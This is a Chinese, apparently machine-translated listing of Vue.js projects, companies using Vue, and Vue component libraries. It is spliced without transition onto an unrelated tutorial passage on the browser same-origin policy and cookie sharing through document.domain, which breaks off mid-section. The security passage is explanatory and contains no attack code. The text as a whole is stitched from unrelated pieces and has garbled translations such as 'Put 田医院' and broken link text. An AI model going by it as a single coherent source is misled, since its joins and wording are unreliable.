应用程序):[Carpoolear](https://carpoolear.com。 ar)Statusfy:Statusfy 是一个状态页面系统,易于使用且完全开源。DynamoDb-GUI-Client:DynamoDb 的跨平台 GUI 客户端RosterWebApp开源名册 Web 应用程序,允许对员工/团队的名册进行工作会议和其他功能。Vue 电子商店 Templet-带有 vue / vuex / vue-router 和 bootstrap4 的电子商务 Templet。Kitty Ipsum-生成由不同语言的“喵”组成的 lorem ipsum。Git Superstar-计算您的 git 星级和顶级存储库。Twill-用于 Laravel 的开源 CMS 工具包,可帮助开发人员快速创建直观,强大而灵活的自定义管理控制台。MATH_BOT-通过对机器人编程来学习数学。Vue 填字游戏-一个基于 Vue.js 的填字游戏构建器和填充前端应用程序。使用CodeSandbox构建。Vue 组织结构图-免费管理和发布您的交互式组织结构图(orgchart),无需网络服务器。哔-使用 Vue.js 和 Ionic 4 构建的帐户安全扫描程序Vue CRUD-基于 Vue.js 的 REST-ful CRUD 系统。Vue CRUD 允许您轻松创建快速应用程序,例如 CMS 或 CRM。Vue HQ 管理员仪表板–由 Vue,Sass,Firestore 和 Netlify 支持的现代管理仪表板。MToDo-带有简单身份验证的迷你待办事项列表,该身份验证是使用 Vue.js 和 JSON Server 作为数据模拟构建的。非常适合作为发现有关真实 Vue.js 参考的任何人的参考FireX 代理-FireX 代理是用户值得信赖的 Chrome 和 Firefox 浏览器扩展程序,可让您解除阻止任何网站的权限并私密安全地浏览 Web。🛡VueSolitaire-接龙(spider,klondike)包含在 Vue.js 中。Thermal-一站式访问所有 Git 存储库。QMK Configurator-Vue.js 中的 QMK 固件键盘配置 UI。Eplee用 Vue.js 和 Electron.js 制作的甜美,简单的 epub 阅读器。vue-realworld-example-app-示例性全栈 Medium.com 克隆每日-精选的开发新闻已传递到您的新标签页 👩🏽💻Laravel 文件管理器-Laravel 的强大文件管理器Vue 加密仪表板-用 Vue.js 制作的 Cryptocurrency 仪表板商业产品Wijmo-具有 VueJS 支持的 UI 控件的集合。整理说明Formester-表格,电子邮件营销自动化变得容易ChatWoot-通过 Facebook Messenger 进行 Livechat 和代理协作。VueA-具有多种布局和 laravel 版本的 VueJS 管理模板。Teleo-团队合作应用在讲话,计划和做事之间轻松移动Cover-基于 Vue.js 构建的高质量组件库EducationLink-适用于教育代理商和大学的 CRM 和销售自动化。Pragmatic v2.0-使用 Vue.js 和 Element 构建的响应式和可配置管理模板。座位-简单而现代的团队沟通和协作解决方案。Moonitor-台式机的加密货币跟踪器。Deskree-将想法,任务和问题集中在一处的在线协作平台。OSHCExpress-OSHC(海外学生健康保险)保险(澳大利亚国际学生保险)的比较和电子商务。Agiloo-适用于 Scrum 和看板的项目管理应用ScaffoldHub-带有 NodeJS,MongoDB 或 SQL 的 VueJS 在线 Web App 生成器。Commandeer-可以重新构想管理。使用 Vue.js 和 Electron 构建的桌面云管理应用程序。SA Email Builder-使用 VueJS 和 Quasar Framework 做出响应的电子邮件模板构建器应用/网站Laravel Spark副视频表格Laracastsesa.io稀土掘金布拉格机场投资组合网站乐风乐团Atiiv-面向私人教练及其客户的应用程序。统计Embalses!-使用美国地质调查局数据库报告水坝水位的工具。TravelMap-旅行者基于地图创建博客的简单方法。适当的衬衫制造商-定制衬衫的制造商。CheckItReddit 新闻-浏览器扩展程序,用于显示来自 reddit 的通知和新闻。卡通网络自行制作 Powerpuff小桃酱cloudradioo-Web 应用程序,可随机播放 soundcloud 图表中的前 50 首歌曲vNotes-使用 Vue.js 和本地存储 API 的 Markdown 简洁漂亮的记事本。开放功能计算机Dermail-用 Vue.js 编写的针对 Dermail 的 Webmail 客户端,Dermail 是用 node.js 编写的邮件系统。octimine-专利搜索引擎。Draxed-基于 Web 的 MySQL 和 PostgreSQL 数据浏览器和仪表板管理器。Leapspotleap-查找您附近的 Wikipedia 文章的简单方法。或只是导航到一个地方并找到有趣的维基百科信息。响应式 Web 应用程序。X-SONGTAO-个人博客。FE 和 CMS 位于同一 vue SPA 中。Jobinja-在伊朗运营的求职委员会和职业平台。滚蛋吧!莆田系-显示所有 Put 田医院的信息Jobi:招聘平台香料屋-高质量香料的电子商务网站。结帐,购物车,产品详细信息页面和搜索是使用 Vue 构建的。Checkout 是用 Vue&Vuex 编写的单页应用程序。Livestorm-网络研讨会/直播活动应用。Metric Loop-一个技术服务和解决方案网站。保持全球考试-语言能力测试在线培训SlugSurvival-一个可帮助学生更好地计划课程的网络应用程序(业余项目,不属于 UCSC)。FreePoll.Online-使用 Vue.js,vue 可排序,语义 UI 和 Zappa 构建的群体决策工具。GitRelease-使用带有电子的 vue.js 在 mac 菜单栏上跟踪 github 项目的新版本。12BAY.VN-在线预订机票。PLAYCODE.IO-快速前端实验的游乐场。The Void Radio-地下室内音乐在线广播。Bitly Vue-使用 VueJS 和 Bitly API 缩短 URL。Storyblok-使用 VueJS 作为前端的基于 API 的/分离的 CMS。WizzAir移至 HTTPS-有关将不同平台/托管站点移至 HTTPS 的指南Booknshelf-发现有关不同主题的出色书籍和书架。Top HN-在 Hacker News 上实时显示最新新闻活动Euronews-Euronews 是一种多语言新闻媒体服务,总部位于法国里昂。Roozameروزامه??-Roozame 是波斯语的智能新闻媒体服务。KoumoulNinjaCalc-一组与嵌入式工程相关的计算器,使用 vue.js 作为开源单页应用程序构建。Vue.js Feed-最新的 Vue.js 新闻,教程,插件等。基于Vuedo,使用 Vue.js 和 Laravel 制作。蒜瓣-使用 Vue2.0 和 Douban API 开发的网络应用猜对了-一个“猜单词”游戏-用 Vue / vuex / vue-router(前端)和 Laravel / MySQL(后端)编写。代码是GitHub 上的开源(尽管不是在 kdcinfo 上运行游戏的实时文件)。GRAP-商业通讯服务简易模拟mmf-blog-vue2-ssr使用 Vue 2.0,vue-router 和 vuex 构建的博客,并具有服务器端渲染JSON 模式编辑器-使用 Vue.js 和 Firebase 构建的 JSON 模式的直观编辑器。Winsome Trivia-一个单人或多人琐事游戏,具有由 Vue.js 构建并由 Open Trivia 数据库提供支持的 2,000 多个独特问题。Moon Organizer-农历日历应用Flash-Vue-“未来的抽认卡”将学习无处不在:rocket:Kinderbesteck-具有 Vue2.0,Vuex,Vue 路由器的完整在线商店 SPAn2ex-vue ssr(必须)网站,请使用 v2ex API词库-众包在线词库Chattanosy-由社区提供的田纳西州查塔努加新事物的数据库。PAIXIN-正版图片销售网站CodeBottle-将代码段拖放到您的项目中1XBET-自 2007 年开始运营的博彩公司MyOwnTV-用于创建互联网电视的流媒体网站CrowdCircus-欧洲最大的众筹和众筹平台与某人交谈-与世界各地的陌生人进行免费,匿名和保密的在线文本聊天。车轮工厂-ui 组件和库共享网站ابیاتنابپارسی-波斯诗集Ripplectron-Ripple(区块链硬币)vue-electron 的电子钱包桌面客户端PingBreak使用 vuejs 作为实时仪表板的免费,简单的网站监控服务Todoist 致敬-Todoist 克隆,用 Rails + Vue 编写JSON 编辑器-使用 Vue2 和 firebase 构建的可识别架构的 JSON 编辑器。Develteam-独立游戏开发者的社交网络。Mixsii-适用于青少年,成人,家人和朋友的免费视频聊天室网站。PipQuest-Vue 中内置的复古益智游戏Matryx-去中心化的协作平台。iPrevYou-YouTube™ 播放器-用于在桌面上观看 youtube 视频的 Chrome 应用。物品管理器-传送命运 2 游戏物品的应用程序。前端大师 Vue 简介-前端大师全日制课程TR-101-鼓合成器/音序器。Bazaar-媒体共享平台。WynnStats-非官方的 WynnCraft 统计信息。Vectr-免费的矢量图形软件大脑位-Emotiv 耳机的 P300 在线拼写机制Coin Dashboard-完全客户端的加密货币资产仪表板。Habitica-角色扮演游戏形式的在线任务管理应用程序。MadeWithVueJs-由 Vue.js 制作的项目图库(网站本身也使用 Vue.js)CodeDependencyScanner-显示.Net 汇编代码依赖关系的 AC#dektop 应用程序使用 Vue,Neutronium 和 D3.js 构建。千以太坊首页-百万美元首页被重新构想为以太坊 DApp。在 Vue.js 上构建并开源。让我们着迷-免费的在线图像升级和神经网络增强功能。Pi.TEAM-在线发票和会计-简单易用的在线会计和发票,单用户和自由职业者免费。Vuethwallet-一个简单的应用程序使用 vuejs 生成以太坊钱包。Tipe-下一代 API 优先的 CMS。使用功能强大的编辑工具创建内容,并使用 GraphQL 或 REST API 从任何地方访问它。停止让 CMS 决定如何构建应用。Vuethexplore-一个简单的应用程序使用 vuejs 探索以太坊区块链。Fintechers-以 Fintech 为重点的工作委员会。Devjournal-项目和构想的协作待办事项列表。Bubbleflat-一种在线平台,可通过搜索具有相似生活方式,兴趣爱好或学校的人来帮助学生和年轻的专业人 士找到理想的室友。Laravel 和 VuejsTeaQuinox Tea Co-专门从事散叶茶的电子商务网站。blip-测试网站的速度,移动友好性,安全性和 HTML5 文档类型。在某个位置查找商家,然后整体测试其网站,或者只是测试您自己的 URL。sunpos-太阳位置,仰角,方位角,黄道/赤道坐标和日出/日落时间(朱利安日)计算和转换实用程序。使用纯 JS,Vuejs 和 i18n Vuejs 本地化插件对网站进行编程。可视化是使用 D3.js 创建的。U3xyz-基于 vue ssr 的个人博客。27.ua-乌克兰的互联网大型超市国际象棋守护者-从您自己的游戏中回答国际象棋位置问题。二十一点休息-二十一点的快速游戏MECHANICAL-适用于 Firefox 的 Reddit mod,可显示上下文数据见解。GameVix-与他人交换您使用过的视频游戏光盘,无忧。具有材料设计的 PWA。VivifyScrum-适用于交付团队的敏捷项目管理应用程序。可定制的 Scrum 和看板板。9GAG-流行的在线平台和社交媒体网站CryptoVue-实时加密货币仪表板厨房故事-烹饪平台MailRabbit-在没有开发人员的情况下创建,A / B 测试和监视交易电子邮件。Vue 资源精选-出色的 Vue 组件列表,类别,内嵌演示秀和简介Cronhub-无痛 Cron 监控工具wrkprty-针对自由职业者,远程工作者和希望离开办公室的专业人员的弹出协作活动。用爱制造-世界各地的“用爱制造 ❤️”倡议是庆祝 🎉,促进 📣 和建立 build 品牌的运动。它从 Dribbble,ProductHunt,Behance 和 Techcrunch 等多个来源获取 Tech 新闻,设计灵感和趋势。💝产品路径-在创业公司和科技公司中发现超过 1,000 个产品工作。V·oogle-Google.com,已修订。一个笑话项目。😃经纪人注释-'研究成为房地产经纪人':房屋:SyncLounge-SyncLounge 是用于在多个位置的多个播放器之间同步 Plex 内容的工具。HCE.it-一家意大利代理商的网站,完全由 Vue 使用基于 Laravel 的无头 CMS 创建。页面-网页设计灵感Scrumpy-敏捷团队的漂亮项目管理工具Spektrum-Spektrum Media Agency 网站SPKSPK 生态系统的网站IDDEF☪️ 重视人类的网页,CMS,CRM 和捐赠以及所有电子商务页面的协会联合会均使用 Vue.js,Vuex 和纯 JavaScript 设计 🙏配置文件管理-一种管理配置文件的简单方法烘焙这个应用程序旨在帮助咖啡爱好者在学习 Laravel + Vue.js 的同时找到他们的下一杯咖啡。YBR-集中的 YBS 公开电子投诉管理系统。(全 SPA)Regex FiddlerMyanpwel-活动票务平台的网站。CryptoArte-以太坊的艺术品收藏,不可替代的代币和 Dapp。Muuviez-具有时尚设计的电影发现和跟踪网站NAGA VIRTUAL-NAGA VIRTUAL 是第一个独立的虚拟商品市场。Scroll.in-Scroll.in 是独立的新闻,信息和娱乐企业。Akunyi-慈善网站Mark Ruffalo 会做什么?-动机网站基于 Mark Ruffalo 在获得成功之前在数百次试镜中失败的故事。白兰地-菜单栏的品牌资产管理器。Ruster 社区-CN 的 Rust 全栈社区论坛。NBC Sports-NBC Sports 是一家体育新闻网站。WITHIN-虚拟现实中的非凡故事。plottr.io-规划跑步和骑车路线beCamp-在弗吉尼亚州夏洛茨维尔举行的由社区组织的技术会议。网站代码是开源的。Trustpilot-免费开放给所有评论平台。Lagom-简单,直观且响应迅速的 WHMCS 主题ScoutMyTrip-Roadtrip Planner-印度的公路旅行计划应用程序,可帮助旅行者建立行程,发现景点,寻找酒店,加油站,美食餐厅等沿路线。Podflix-播客应用。GamersClub-巴西最大的电子竞技社区发展公司MIT-麻省理工学院的官方网站。Elvenar-Elvenar 是一个基于浏览器的幻想城市建设者游戏。信标-:blue_heart:这项服务可让您在多个网站之间共享内容。Artfinder-Artfinder 是买卖艺术品的网站。Rolodromo-专门用于桌面 RPG 的西班牙语网站。GitHubExplorer-用于探索 GitHub 的纯静态页面 webapp。使用Vuejs和GitHub GraphQL API v4。主题演讲-与 Vue 一同展示。HappyPlants-用于组织植物的渐进式 Web 应用 🌱。Pocket Lists-世界上最友好的待办事项列表应用程序。Padlet-协作公告板Glovo-按需交付MySigMail-MySigMail 是一个免费的浏览器电子邮件签名生成器,无需创建帐户Wordguru-一个简单的口头游戏,您可以分成几个小组,并尝试猜测尽可能多的关键字。ApiFlash-基于 Chrome 的截图 API,基于 AWS Lambda 开发人员专用Kitty Ipsum-生成由不同语言的“喵”组成的 lorem ipsum。Git Superstar-计算您的 git 星级和顶级存储库。DECS-分散的多合一工作区,用于管理代码段并保护敏感数据。Careup-牙医 🦷 的业务管理工具。Asciiur-互联网的 ascii 艺术收藏Tapestri Designer-用于设计用于基因组测序实验(NGS)的 PCR 引物的免费工具Remote-Access-SSH-使用 node-ssh 的基于 Web 的远程主机访问地图标记生成器-一个免费的在线工具,可即时生成自定义地图图标Monocle Reader-在一个地方关注提要,Twitter,YouTube,博客和其他所有内容。前站导航-前端社区,文档收录。Geenes-生成调色板并将其应用于 UI,然后将其导出到草图或代码中。Blurrish-Mac / Windows 加密的 Morning Pages 日记,由 Vue 和 Electron 构建。书写时模糊,因此可以在公共工作区中记录日志。ExifShot-摄影的方式和方式,精美绝伦。Studolog-用于学生的在线文件共享平台,包括测试人员和评论。目前仅捷克语 🇨🇿。sum.cumo–数字业务模型(以 Vue 作为技术堆栈的核心)。Gamebrary-用于组织视频游戏收藏的开源工具。Guds-比较各大超市的价格。仅适用于墨西哥 🇲🇽。Premium Poker Tools-扑克玩家用来学习的东西。QMK Configurator-从浏览器配置,构建和下载自定义 QMK 固件。Worksome-适用于合格的 IT 专业人员,自由职业者以及希望雇用他们的公司的市场/平台。Translator-vuejs-使用 Vuejs,Yandex API 和 ResponsiveVoice.js API 构建的翻译应用程序。大计时器-用于研讨会,会议和演示的全屏倒数计时器。Big Timer 可以帮助研讨会主持人,会议椅,设计短跑选手,演示者和有抱负的游戏节目主持人坚持自己的计划。Wirenook-用于构建响应式网站线框的免费在线应用程序。高保真和低保真,项目共享和 svg 下载。Kvalitetskontroll-为建筑业量身定制的挪威管理系统。Poolside FM-复古音乐播放器互动体验Jean-Pierre Morin | 1700 LAPOSTEFacebook NewsFeedYouTube AdBlitz 2016Omnisense 体验Louis Ansa 网站(投资组合)Djeco.comTolks.io遇见 GrahamNOIZE 原创TR-101 合成鼓机Bootstrap 4 编辑器Subtletab-浏览器扩展web-riimote-将您的智能手机变成 3D 控制器(源代码)CSS ColorVars-交互式工具代码生成(源代码)企业用途塞恩斯伯里的AREX -大疆创新 -Octimine GmbH -浑力集GitLabClemenger BBDO MelbourneZenMate代码StoryblokMonito-建立 Booking.com 以进行国际汇款Hypefactors-数据驱动的 PR 专业人员的软件 -Adobe -IBMCotaboxAromajoin-基于硬件,软件和材料技术的协调发展最好的数字气味产品。家乐福A11yVue A11y 项目-Vue.js 社区项目,用于改善 Web 可访问性。vue-skip-to-它可以帮助仅使用键盘的人跳到最重要的地方。vue-axe-Vue.js 应用程序的可访问性审核。vue-announcer-Vue 的一种简单方法,可为屏幕阅读器宣布任何有用的信息。eslint-plugin-vue-a11y-用于.vue 中元素可访问性规则的静态 AST 检查器vue-focus-lock-这是一个陷阱!焦点锁定。A11y util,用于确定焦点。vue-a11y-calendar-可访问的国际化 Vue 日历。表格vuetable-2数据表简化vue-tables-2-Vue.js 2 网格组件。vue-datasource-一个 vue.js 服务器端组件,用于创建动态表。ag-grid-vue-用于 ag-Grid 的 Vue 适配器。vue-data-tables-Vue2.0 数据表,基于 element-ui。vue-floatThead-用于 floatThead 的 Vue 2.0 组件,floatThead 是一个浮动的粘性表头插件。vuetiful-datatable-具有排序,过滤,分页,分组和聚合的数据表组件。vue-materialize-datatable-Materialize CSS 的 VueJS 数据表vue-good-table-一个易于使用的 VueJS(2.x)表插件,具有排序,列过滤,分页等功能。vue-grid-Vue.js 的灵活网格组件vue-easytable-基于 Vue2.x 的功能强大的表组件vue2-datatable-component-永远不会烂的 Vue.js 2.x 最佳数据表vue-js-grid-Vue.js 2.x 响应式网格系统,具有平滑的排序,拖放和重新排序vue-handsontable-official用于 Handsontable 电子表格组件的 Vue.js 包装器vue-grid-用于 Vue.js 2.x 的功能强大的 flexbox 网格系统,使用内联样式构建vue-data-tablee-基于 vue-good-table,一个简单漂亮的表组件vue-scrolling-table-具有 flexbox 大小的简单表格组件,滚动表格主体(水平和垂直),所有 tr / th / td 的插槽渲染。el-search-table-pagination-将 Element UI 的 Form,Table 和 Pagination 组件组合在一起。基于 Vue 2.x。(详细信息)vue-crud-x-使用 Vuetify 布局的可扩展 Crud 组件,除了通常的页面,排序,过滤器之外,它还能嵌套的 CRUD,自定义表单,过滤器,操作。Vue 数据表-VueJS 支持的数据表,具有 Laravel 服务器端加载和 JSON 模板设置v2-table-一个基于 Vue 2.x 的简单表组件。vue-cheetah-grid-在 Vue.js 的画布上工作的高性能网格引擎。vue-table-component-直指 Vue 组件以显示表。@ lossendae / vue-table-Vue.js 2.x 的简单表组件,具有分页和可排序的列。el-data-table-基于 element-ui,可以轻松完成任务DevExtreme Vue 网格-用于 Bootstrap 的基于插件的高性能 Vue 数据网格。vue-ads-table-tree-具有过滤,排序和分页功能的 vue Table 组件。行可以具有子行,因此可以构建树结构。它还支持异步调用以从后端加载行。它是使用 CSS 框架tailwindcss构建的用于 Vue 的 Synfusion 数据网格-显示和处理具有分页,排序,过滤,编辑和分组等功能的表格数据。@ marketconnect / vue-pivot-table-数据透视表的 vue 组件vue-teible-Web 的轻巧灵活的表组件:zap:vue-jqxgrid-具有过滤,排序,编辑,分组,数据导出和其他功能的 Vue 数据网格。vue-jqxpivotgrid-具有枢轴设计器的 Vue 枢轴数据网格,钻取单元格,枢轴功能。toast-ui.vue-grid- [TOAST UI Grid]的 Vue 包装器(http://ui.toast.com/tui -grid /)。vueye-datatable-Vueye 数据表是基于 Vue.js 2 的响应数据表组件,它按页面组织数据以便于浏览。vue-sorted-table-一个将表转换为排序表的插件。支持嵌套的对象键,自定义图标和可重用组件。vue-bootstrap4-table-基于 Vue 2 和 Bootstrap 4 的高级数据表,其中包括多列过滤,多列排序,分页和信息,复选框行和高度可定制的插槽选项。vuejs-smart-table-直截了当的表格组件,使用原始 HTML 表格结构,并具有开箱即用的排序,过滤,分页和选择功能。@ myena / vue-table-用于客户端/服务器数据处理的表组件。筛选,排序,分页,分组,展开详细信息行。高度可定制的通孔,用于过滤器,标题,列,分页,详细信息行。vue-jd-table-Vue 2 的高级且灵活的数据表组件。功能丰富:搜索,过滤,导出,分页(传统和虚拟)滚动)等等!vue-grd-用于网格布局的简单,轻巧和灵活的 Vue.js 组件。iview-table-page-将 iview UI 的表和页面组件组合在一起。基于 Vue2.x。并听到了一些使用 iview-table-page 的示例。通知vue-notifications-Vue.js 不可知的非阻塞通知库。vue-easy-toast-vue / vue2 的 Toast 插件。vue-toasted-适用于 VueJS 的自适应 Touch 兼容 Toast 插件。vue-notifikation-Vue.js 通知插件。vue-notification-使用Velocity制作动画的 Vue.js 2+通知插件。vs-notify-微小但功能强大的通知组件,没有依赖项。vue2-notify-Vue.js 2+通知插件。vue-notifyjs-极简主义,3kb 可通知通知插件vueup-Vue.js 的简单,轻巧和优雅的全局通知弹出窗口vuex-flash-Vuex 2.x 中用于 VueJS 2.x 的 Flash 消息组件。vue-snotify-Vue.js 2 通知中心vue-notify-me-Vue 的可堆叠通知警报vue-noty-围绕 Noty 的 Vue.js 2 包装器vue-notice-Vue.js 2 使用本机 API 围绕 Noty.js 进行包装vue-flash-message-简单但灵活的通知插件@ voerro / vue-notifications-具有 HTML 和样式支持的简单 Vue.js 2 通知插件。vue-awesome-notifications-具有高级异步支持的轻量级 Vue.js 通知库。vue-izitoast-围绕 IziToast 的 Vue.js 2 包装器。vue-toastr-2-基于toastr的 Vue.js 的简单敬酒通知)vue-snack-基于 Google Material 的 Snackbars 的 Vue.JS 插件。vue-m-message-vue 的消息插件。vue-notification-bell-用于显示通知的 Vue UI 组件。v-tostini-Vue.js 2.x 真正纯正的吐司通知机制。不包括 CSS。vue-toast-notification-另一个 Vue.js Toast 通知插件。装载机vue-radial-progress-Vue.js 的径向进度栏组件。vue-simple-spinner-适用于 Vue.js 的简单灵活的微调器vue-wait-适用于 Vue / Vuex 和 Nuxt 应用程序的复杂加载程序管理。vue-progress-path-支持任何自定义 SVG 路径的可自定义进度指示器和微调器。vue-blockui-用于 vue 2 的 BlockUI,类似于 jquery blockUI,可用于加载屏幕。epic-spinners-易于使用的带有 vue.js 集成的 css spinners 集合。svg-progress-bar-Vue.js 的简单进度条。vue-loading-overlay-微小的全屏加载指示器vue-loaders- [loaders.css]的 vue 包装器(https://github.com/ConnorAtherton/loaders.css)vue-promise-btn-小巧而强大的异步按钮(或任何其他标签)工具,带有精美的内置微调器vue-spinkit-🌈 带有 VueJS CSS 动画的加载指示器集合vue2-form-loading-VueJS 指令可与表单一起使用,以便在加载下一页时禁用提交按钮vue-element-loading-⏳ 在容器内加载或全屏显示 Vue.jstb-skeleton-Vue.js 的骨架屏幕加载vue-spinners-💫 为 Vuejs 加载微调器组件的集合vue-progress-bar-这是一个基于 vue 的级联进度条插件vue-loading-button-👇 带有滑动加载指示器的直截了当按钮进度条vue-progressbar-vue 的轻量级进度条。vue2-loading-bar-最简单的 YouTube,例如 Vue 2 的加载条组件。vue-top-progress-另一个为 Vue.js 加载栏组件的顶级进度。vue-nprogress-进度条基于 Vue 的 nprogress。vue-progress-button-Vue.js 2.x 动画按钮组件。vue-simple-progress-Vue.js 的简单,灵活的进度栏vue-component-loading-管理每个组件内部的加载状态,并使用进度条显示全局加载状态。vue-scroll-progress-用于页面滚动进度条的简单 Vue.js 插件vue-read-progress-页面顶部的可自定义进度条,显示滚动进度easy-circular-progress-具有计数效果的简单循环进度组件工具提示工具提示/弹出窗口v-tooltip-使用 Vue 2.x 的简单工具提示。vue-popper-component-Vue.js 的 Popper.js 指令。vue-directive-tooltip-简单,灵活的工具提示指令(基于 Popper.js)vue-popperjs-基于 VueJS 2.x popover 组件的popper.jsvue-tooltipster-基于 VueJS 2.x 工具提示组件的tooltipster.js。支持 html 内容,悬停和悬停+单击事件。k-pop-基于popper.js的简单 popover 组件。高度可定制的。带有主题。支持自定义触发器,并且可以监听任何事件。覆盖vuedals-一个 VueJS(2.x)插件,用于具有单个组件实例的多个模态窗口。sweet-modal-vue-发生模态的最甜的库。现在可用于 Vue.js。vue-js-modal-简单易用,高度可定制,移动友好的 Vue.js 2.0+模态,具有 0 个依赖关系。vudal-vue.js 的模态窗口vodal-具有动画的 Vue 模态。vue-image-lightbox-一个 Vue 图像灯箱/图库,可以很好地显示图像。vue2-simplert-Vue 2 简单警报组件(受 SweetAlert 启发),作者:Irfan MaulanaVue-Semantic-Modal-不具有 jQuery 依赖关系的 Vue 2 语义-UI 模态组件v-img-易于安装的图库。vue-dialog-drag-可拖动对话框vue-ya-semantic-modal-Vue2 的另一个语义 UI 模态组件,没有 Jquery 但具有 Vue 转换vue-pure-lightbox-非常简单的灯箱插件,没有任何依赖性-仅 Vue!🖼v-viewer-基于[viewer.js]的 vue 图像查看器组件,支持旋转,缩放,缩放等(https:// github.com/fengyuanchen/viewerjs)vue-messagebox-Vue 上易于定制的消息框组件。vuejs-dialog-轻量级,基于承诺的警报,提示和确认对话框。@ hscmap / vue-window-vue2 的窗口 UI 组件。vue-gallery-VueJS 响应式和可自定义的图像和视频库,轮播和灯箱,已针对移动和桌面 Web 浏览器进行了优化。基于 blueimp-galleryvue-swal-用于将 SweetAlert 集成到 Vuejs 的小型包装器。(与 SSR 兼容)vue-modal-dialogs-✨ 承诺自己的对话框!vue-img-view-Vue.js 的插件,您可以在任意位置拖动/查看/旋转图片vue-modaltor-vuejs 的最先进的可配置模态组件v-modal-backdrop-用于 vue 的简单通用背景组件vue-cute-modal-适用于 Vue 应用程序的简单易用的 Modal 组件。v-dialogs-一个简单而强大的对话框,包括基于 Vue2.x 的 Modal,Alert,Mask 和 Toast 模式vue-gallery-slideshow-VueJS 的响应式画廊组件vue-a11y-dialog-用于可访问对话框[a11y-dialog](https://github.com的Vue.js组件包装器。 com / edenspiekermann / a11y-dialog)。vue-slideout-panel-VueJS 的可堆叠面板组件v-gallery-用于在“ gallery”或“ carousel”中显示图像的 Vue2 插件vue2-image-loader-vue2 的图像 lazyLoad loader 组件vue-my-photos-一个简单的无依赖图像灯箱组件,具有过滤功能vue-img-orientation-changer-一个 Vue.js 指令,可自动调整您的 img 以更正方向。vue-topmodal-一个完全可定制,易于使用的 Vue.js 模态组件。(自适应,可堆叠,可滚动,动画)vue-modal🖼-为多个可切换模态内容提供对象数组或快速内联您的内容。完全可定制的 Vue 模态组件。@ innologica / vue-stackable-modal-用于可堆叠的模态对话框的库。完全可定制且非常易于使用。vue-sweetalert2-sweetlaert2 的包装器,支持 TypeScript,Nuxt 和 SSR视差vue-parallax-以比窗口慢的速度滚动图像以产生整洁的光学效果。vue-parallaxy-用于视差图像滚动效果的 Vue.js 组件。vue-mouse-parallax-一个易于使用的鼠标视差组件-由 Vue.js 制成vue-parallax-js-微小的 vue 组件,为元素上的视差效果添加了指令。图标vue-awesome-Vue.js 的 Font Awesome 组件,使用嵌入式 SVG。vue-material-design-icons-单个 SVG Material Design 图标集合文件组件。vue-icon-font-Vuejs 的 iconfont 插件(支持 Font-class 和 Symbol)。vue-ionicons-来自离子团队的 Vue 图标集组件。vue-ico-具有嵌入式浏览器支持和选择性捆绑功能的 Vue 简易图标mdi-vue-Vuejs 的 Material Design 图标组件vue-fontawesome-Font Awesome 5 Vue 组件g-icon-svg 图标的简单图标组件(与类似于 Font Awesome 的字体工具包兼容)vue-simple-line-icons-Vuejs 的简单线条图标组件vue-country-flag-国家标记图标的 Vue 组件- vicon- Vicon 是用于 vue 的简单 iconfont 组件。md-svg-vue-Google 为 Vue.js 和 Nuxt.js 提供的 Material Design 图标(服务器端支持(带缓存),内嵌 svg)渲染,官方图标名称)vue-lang-code-flags-Vue 组件,显示语言来源国的标志vue-zondicons-精美[Zondicon]的 Vue 组件(http://www.zondicons.com/icons.html)svg 图标vue-eva-icons-简单漂亮的开源 eva 图标作为 Vue 组件。vue-unicons-为您的下一个项目提供超过 1000 个像素完美的 svg unicons 作为 Vue 组件。vue-fa-简单的 FontAwesome 5 Vue.js 2 组件。vue-cryptoicon-美丽的像素完美的 400+加密货币和 10+法定货币图标。
六、同源限制浏览器安全的基石是“同源政策”(same-origin policy)。很多开发者都知道这一点,但了解得不全面。1、概述1.1 含义1995年,同源政策由 Netscape 公司引入浏览器。目前,所有浏览器都实行这个政策。最初,它的含义是指,A 网页设置的 Cookie,B 网页不能打开,除非这两个网页“同源”。所谓“同源”指的是“三个相同”。协议相同域名相同端口相同举例来说,http://www.example.com/dir/page.html这个网址,协议是http://,域名是www.example.com,端口是80(默认端口可以省略),它的同源情况如下。http://www.example.com/dir2/other.html:同源http://example.com/dir/other.html:不同源(域名不同)http://v2.www.example.com/dir/other.html:不同源(域名不同)http://www.example.com:81/dir/other.html:不同源(端口不同)https://www.example.com/dir/page.html:不同源(协议不同)1.2 目的同源政策的目的,是为了保证用户信息的安全,防止恶意的网站窃取数据。设想这样一种情况:A 网站是一家银行,用户登录以后,A 网站在用户的机器上设置了一个 Cookie,包含了一些隐私信息(比如存款总额)。用户离开 A 网站以后,又去访问 B 网站,如果没有同源限制,B 网站可以读取 A 网站的 Cookie,那么隐私信息就会泄漏。更可怕的是,Cookie 往往用来保存用户的登录状态,如果用户没有退出登录,其他网站就可以冒充用户,为所欲为。因为浏览器同时还规定,提交表单不受同源政策的限制。由此可见,同源政策是必需的,否则 Cookie 可以共享,互联网就毫无安全可言了。1.3 限制范围随着互联网的发展,同源政策越来越严格。目前,如果非同源,共有三种行为受到限制。(1) 无法读取非同源网页的 Cookie、LocalStorage 和 IndexedDB。(2) 无法接触非同源网页的 DOM。(3) 无法向非同源地址发送 AJAX 请求(可以发送,但浏览器会拒绝接受响应)。另外,通过 JavaScript 脚本可以拿到其他窗口的window对象。如果是非同源的网页,目前允许一个窗口可以接触其他网页的window对象的九个属性和四个方法。window.closedwindow.frameswindow.lengthwindow.locationwindow.openerwindow.parentwindow.selfwindow.topwindow.windowwindow.blur()window.close()window.focus()window.postMessage()上面的九个属性之中,只有window.location是可读写的,其他八个全部都是只读。而且,即使是location对象,非同源的情况下,也只允许调用location.replace方法和写入location.href属性。虽然这些限制是必要的,但是有时很不方便,合理的用途也受到影响。下面介绍如何规避上面的限制。2、CookieCookie 是服务器写入浏览器的一小段信息,只有同源的网页才能共享。如果两个网页一级域名相同,只是次级域名不同,浏览器允许通过设置document.domain共享 Cookie。举例来说,A 网页的网址是http://w1.example.com/a.html,B 网页的网址是http://w2.example.com/b.html,那么只要设置相同的document.domain,两个网页就可以共享 Cookie。因为浏览器通过document.domain属性来检查是否同源。// 两个网页都需要设置 document.domain = 'example.com';注意,A 和 B 两个网页都需要设置document.domain属性,才能达到同源的目的。因为设置document.domain的同时,会把端口重置为null,因此如果只设置一个网页的document.domain,会导致两个网址的端口不同,还是达不到同源的目的。现在,A 网页通过脚本设置一个 Cookie。document.cookie = "test1=hello";B 网页就可以读到这个 Cookie。var allCookie = document.cookie;注意,这种方法只适用于 Cookie 和 iframe 窗口,LocalStorage 和 IndexedDB 无法通过这种方法,规避同源政策,而要使用下文介绍 PostMessage API。另外,服务器也可以在设置 Cookie 的时候,指定 Cookie 的所属域名为一级域名,比如.example.com。Set-Cookie: key=value; domain=.example.com; 